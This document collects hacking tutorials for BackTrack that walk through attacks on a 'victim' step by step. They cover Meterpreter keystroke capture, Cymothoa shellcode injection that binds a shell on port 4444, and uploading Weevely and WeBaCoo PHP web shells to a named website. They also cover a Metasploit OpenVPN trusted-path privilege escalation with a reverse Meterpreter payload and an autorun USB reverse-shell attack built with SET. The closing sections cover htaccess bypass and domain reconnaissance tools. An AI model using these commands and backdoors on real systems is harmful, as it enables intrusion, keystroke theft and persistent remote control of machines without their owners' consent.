How to use Keylogger in Meterpreter

Once you got the meterpreter session use ‘ps‘ command to displays a list of running processes on the target

The next step is we need to migrate Meterpreter to the Explorer.exeprocess. Victim Explorer.exe process ID is 288. Now type migrate 288 now we can start the keylogger

Keyscan_start – to start the keylogger

Keyscan_dump – to print captured keystrokes

Keyscan_stop – to stop the keylogger 

Cymothoa - Runtime shellcode injection, for stealthy backdoors

Cymothoa is a stealth backdooring tool, that inject backdoor's shellcode into an existing process. The tool uses the ptrace library (available on nearly all * nix), to manipulate processes and infect them. But keep in mind it’s a runtime injector so it only works on applications that are already running.

Open your backtrack terminal and type cd /pentest/backdoors/cymothoa

Not type. /cymothoa

The main syntax is: /cymothoa –p -s [options]

Now type. /cymothoa –S for list of all available shellcodes

To try to infect a currently running process I run to see a list of life processes type ps –aux

I try to launch a version of dictionary to attach on to. /cymothoa –p 1510 –s 0 –y 4444

-p	process ID  1510
-s	shell code number 0 bind /bin/sh to the provided port (requires -y)
-4444	that will open up a shell on port 4444

You can potentially inject any type of backdoor into any program or application of the system. Because it’s a realtime process, it only works on systems you have access to. Once compromised, Cymothoa should be copied to the victim machine to generate stealthy backdoor shells.

Now scan pc with nmap: nmap –sV 192.168.1.3 (Victim IP)

How to Create a Backdoor in Server using BackTrack (Weevely Tutorial)

Weevely is a stealth PHP web shell that simulates a telnet-like connection. It is an essential tool for web application testing post exploitation, and can be used as a stealth backdoor web shell to manage legit web accounts, even free hosted ones. It is currently included in Backtrack and Backbox and other Linux distributions for penetration testing.

Open your backtrack terminal and type cd /pentest/backdoors/web/weevely

Now type ./weevely.py generate .It will look something like this

. / weevely.py generate rajchandel (Password) /root/Desktop

Then upload that file in victim server, after uploading it, copy the URL of your uploaded file. Then type ./weevely.py .It will look something like this

. / weevely http://telecallerjobs.com/webdoor.php rajchandel

Uname –a – print all information

Free – display information about free and used memory on the system

pwd - print name of current/working directory

Df – displays the amount of disk space available on the filesystem containing each file name argument

W – Displays information about the users currently on the machine, and their processes

Ls – List information about the FILEs (the current directory by default)

Webacoo - Web Backdoor Cookie Script-Kit

WeBaCoo (Web Backdoor Cookie) is a web backdoor script-kit, aiming to provide a stealth terminal-like connection over HTTP between client and web server. It is a post exploitation tool capable to maintain access to a compromised web server. WeBaCoo was designed to operate under the radar of modern up-to-dated AV, NIDS, IPS, Network Firewalls and Application Firewalls, proving a stealth mechanism to execute system commands to the compromised server. The obfuscated communication is accomplished using HTTP header's Cookie fields under valid client HTTP requests and relative web server's responses.

First Download webacoo script from here on your desktop

Now unzip the file unzip webacoo.zip

Now Type Command: ./webcoo.pl –g –o webdoor.php

This will generate code for a backdoor (-g) Generate backdoor code (-ois required). Here is a screenshot of the command terminal view:

Now upload webdoor.php file to victim website and proceed to connect to the server with the following command:

. / webacoo.pl -t  -u http://telecallerjobs.com/webdoor.php

Ls - List information about the FILEs (the current directory by default)

Uname –a - print all information

Free - display information about free and used memory on the system

pwd - print name of current/working directory

Df -  displays the amount of disk space available on the filesystem containing each file name argument

W - Displays information about the users currently on the machine, and their processes.

route - show / manipulate the IP routing table

Load - Load machine code and initialize new commands.

Download – Download file from server

Cat - cat to view the file, we see only the normal text

Hack Remote Windows PC using Open VPN Trusted Path Privilege Escalation

This module exploits a logic flaw due to how the lpApplicationName parameter is handled. When the lpApplicationName contains a space, the file name is ambiguous. Take this file path as example: C:\program files\hello.exe; The Windows API will try to interpret this as two possible paths: C:\program.exe, and C:\program files\hello.exe, and then execute all of them. To some software developers, this is an unexpected behavior, which becomes a security problem if an attacker is able to place a malicious executable in one of these unexpected paths, sometimes escalate privileges if run as SYSTEM. Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the same problem. The offensive technique is also described in Writing Secure Code (2nd Edition), Chapter 23, in the section "Calling Processes Security" on page 676.

Exploit Targets

OpenVPN 2.1.1

Windows XP SP 2

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/local/trusted_service_path

msf exploit (trusted_service_path)>set payload windows/meterpreter/reverse_tcp

msf exploit (trusted_service_path)>set lhost 192.168.1.2 (IP of Local Host)

msf exploit (trusted_service_path)>set lport 4443 (Port of  the local machine)

msf exploit (trusted_service_path)>set session 1

msf exploit (trusted_service_path)>exploit

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

HTEXPLOIT - Bypassing htaccess Restrictions

HTExploit (HiperText access Exploit) is an open-source tool written in Python that exploits a weakness in the way that .htaccess files can be configured to protect a web directory with an authentication process. By using this tool anyone would be able to list the contents of a directory protected this way, bypassing the authentication process.

The tool provides modularity, by allowing the tester to fully perform an analysis on the protected website of the following attacks: SQL Injection, Local File Inclusion, Remote File Inclusion and others.
The main characteristic of this tool is that all of the analyses performed are done inside the protected directory, not from the publicly accessible site.

Features

• Multiples modules to execute. 
• Save the output to an specify directory. 
• HTML Reporting. 
• Use multiples wordlist to probe against htaccess bypassing. 
• Mode verbose for full detailed information. 

First Open Your backtrack and Follow these path

Applications->Backtrack–>Exploitation Tools->Web Exploitation Tools->htexploit

You can also do this manually. First Open your backtrack Terminal and type

cd /pentest/web/htexploit

./htexploit

Python htexploit –u www.example.com

usage

-h, --help	show this help message and exit
-m MODULE, --module=MODULE	Select the module to run (Default: detect)
-u URL, --url=URL	**REQUIRED** - Specify the URL to scan
-o OUTPUT, --output=OUTPUT	Specify the output directory
-w WORDLIST, --wordlist=WORDLIST	Specify the wordlist to use
-v, --verbose	Be verbose

Hack Windows 7 PC using USB Device and SET Toolkit (Infectious Media Generator Attack)

Infectious Media Generator is a relatively simple attack vector. SET will create a Metasploit-based payload, setup a listener for you and generate a folder that needs to be burned or written to a DVD/USB drive. Once inserted, if AutoRun is enabled, the code will automatically execute and take control of the machine.

Open your backtrack terminal & Type cd /pentest/exploits/set

Now Open Social Engineering Toolkit (SET). /set

Now choose option 1, “Social-Engineering Attacks”

Now choose option 3, “Infectious Media Generator”

Choose option 2, “Standard Metaspolit Executable”

Enter IP Address for Reverse Connection type your IP Address (IP Address of Attacker PC)

Now choose 2 “Windows reverse_tcp Meterpreter”, but you have several to choose from including your own program.

Choose option 16, “Backdoored Executable (BEST)”

Port of the attacker computer. In this example I use port 4444, but you can change to 443

There's two file autorun.infand program.exe inside /pentest/exploits/set/autorun folder

Now copy both file in USB Drive When the victim plug our malicious USB and the autorun working

You now have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

Domain Analyzer Security Tool

Domain analyzer is a security analysis tool which automatically discovers and reports information about the given domain. Its main purpose is to analyze domains in an unattended way.

Features

• It creates a directory with all the information, including nmap output files.
• It uses colors to remark important information on the console.
• It detects some security problems like host name problems, unusual port numbers and zone transfers.
• It is heavily tested and it is very robust against DNS configuration problems.
• It uses nmap for active host detection, port scanning and version information (including nmap scripts).
• It searches for SPF records information to find new hostnames or IP addresses.
• It searches for reverse DNS names and compare them to the hostname.
• It prints out the country of every IP address.
• It creates a PDF file with results.
• It automatically detects and analyze sub-domains!
• It searches for domains emails.
• It checks the 192 most common hostnames in the DNS servers.
• It checks for Zone Transfer on every DNS server.
• It finds the reverse names of the /24 network range of every IP address.
• It finds active host using nmap complete set of techniques.
• It scan ports using nmap.
• It searches for host and port information using nmap.
• It automatically detects web servers used.
• It crawls every web server page using our Web Crawler Security Tool.
• It filters out hostnames based on their name.
• It pseudo-randomly searches N domains in google and automatically analyze them!
• Uses CTRL-C to stop current analysis stage and continue working.

First download Domain Security Analyzer from here and save in your desktop

Now untar the file tar zxvf domainanalyzer.tar.gz

Crawler

./crawler.py –u www.hackingarticles.in

Options:

-u, --url	URL to start crawling.
-m, --max-amount-to-crawl	Max deep to crawl. Using breadth first algorithm
-w, --write-to-file	Save summary of crawling to a text file. Output directory is created automatically
-s, --subdomains	Also scan subdomains matching with url domain.
-r, --follow-redirect	Do not follow redirect. By default follow redirection at main URL.
-f, --fetch-files	Download there every file detected in 'Files' directory. Overwrite existing content.
-F, --file-extension	Download files specified by comma separated extensions. This option also activates 'fetch-files' option. 'Ex.: -F pdf,xls,doc'
-d, --docs-files	Download docs files:xls,pdf,doc,docx,txt,odt,gnumeric,csv, etc. This option also activates 'fetch-files' option.
-E,--exclude-extensions	Do not download files that matches with this extensions. Options '-f','-F' or '-d' needed.
-h, --help	Show this help message and exit.
-V, --version	Output version information and exit
-v, --verbose	Be verbose
-D, --debug	Debug.

Domain Analyzer

./domain_analyzer_v_0.5.py –d www.example.com

Options               

-h, --help	Show this help message and exit
-V, --version	Output version information and exit.
-D, --debug	Debug
-d, --domain	Domain to analyze.
-j, --not-common-hosts-names	Do not check common host names. Quicker but you will lose hosts
-t, --not-zone-transfer	Do not attempt to transfer the zone.
-n, --not-net-block	Do not attempt to -sL each IP netblock.
-o, --store-output	Store everything in a directory named as the domain. Nmap output files and the summary are stored inside.
-a, --not-scan-or-active	Do not use nmap to scan ports nor to search for active hosts
-p, --not-store-nmap	Do not store any nmap output files in the directory /nmap
-e, --zenmap	Move xml nmap files to a directory and open zenmap with the topology of the whole group. Your user should have access to the DISPLAY variable.
-g, --not-goog-mail	Do not use goog-mail.py (embebed) to look for emails for each domain
-s, --not-subdomains	Do not analyze sub-domains recursively. You will lose subdomain internal information.
-f, --create-pdf	Create a pdf file with all the information.
-w, --not-webcrawl	Do not web crawl every web site (in every port) we found looking for public web mis-configurations (Directory listing, etc.).
-m, --max-amount-to-crawl	If you crawl, do it up to this amount of links for each web site. Defaults to 50.
-F, --download-files	If you crawl, do ti up to this amount of links for each web site. Defaults to 10.
-c, --not-countrys	Do not resolve the country name for every IP and hostname.
-q, --not-spf	Do not check SPF records.
-k, --random-domain	Find this amount of domains from google and analyze them. For base domain
-x, --nmap-scantype	Nmap parameters to port scan. Defaults to: '-O --reason --webxml --traceroute